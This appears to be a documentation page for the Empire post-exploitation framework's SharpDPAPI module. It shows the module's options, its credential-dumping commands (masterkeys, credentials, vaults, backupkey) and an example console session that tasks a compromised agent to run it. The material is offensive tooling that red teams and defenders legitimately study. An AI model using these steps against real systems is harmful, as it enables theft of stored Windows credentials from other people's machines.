SharpDPAPI - Empire Module


This page contains detailed information about how to use the csharp/GhostPack/SharpDPAPI Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: SharpDPAPI
Module: csharp/GhostPack/SharpDPAPI
Source code: empire/server/modules/csharp/GhostPack.Covenant.yaml#L162
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The SharpDPAPI module uses a SharpDPAPI command.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the SharpDPAPI module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the SharpDPAPI module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Additional Module Options

This is a list of additional options that are supported by the SharpDPAPI module:

Command
SharpDPAPI command to execute.
Default value: triage.
Suggested values: triage, machinetriage, backupkey, masterkeys, machinemasterkeys, credentials, machinecredentials, vaults, machinevaults, rdg.

SharpDPAPI Example Usage

Here's an example of how to use the SharpDPAPI module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/GhostPack/SharpDPAPI

 Author       harmj0y                     
 Background   False                       
 Description  Use a SharpDPAPI command.   
 Language     csharp                      
 Name         csharp/GhostPack/SharpDPAPI 
 NeedsAdmin   False                       
 OpsecSafe    False                       


,Record Options-,--------,----------,---------------------------------,
| Name          | Value  | Required | Description                     |
|---------------|--------|----------|---------------------------------|
| Agent         |        | True     | Agent to run module on.         |
|---------------|--------|----------|---------------------------------|
| Command       | triage | False    | SharpDPAPI command to execute.  |
|---------------|--------|----------|---------------------------------|
| DotNetVersion | Net35  | True     | .NET version to compile against |
'---------------'--------'----------'---------------------------------'

(Empire: usemodule/csharp/GhostPack/SharpDPAPI) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/GhostPack/SharpDPAPI) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/GhostPack/SharpDPAPI) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/GhostPack/SharpDPAPI) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/GhostPack/SharpDPAPI) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • harmj0y

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.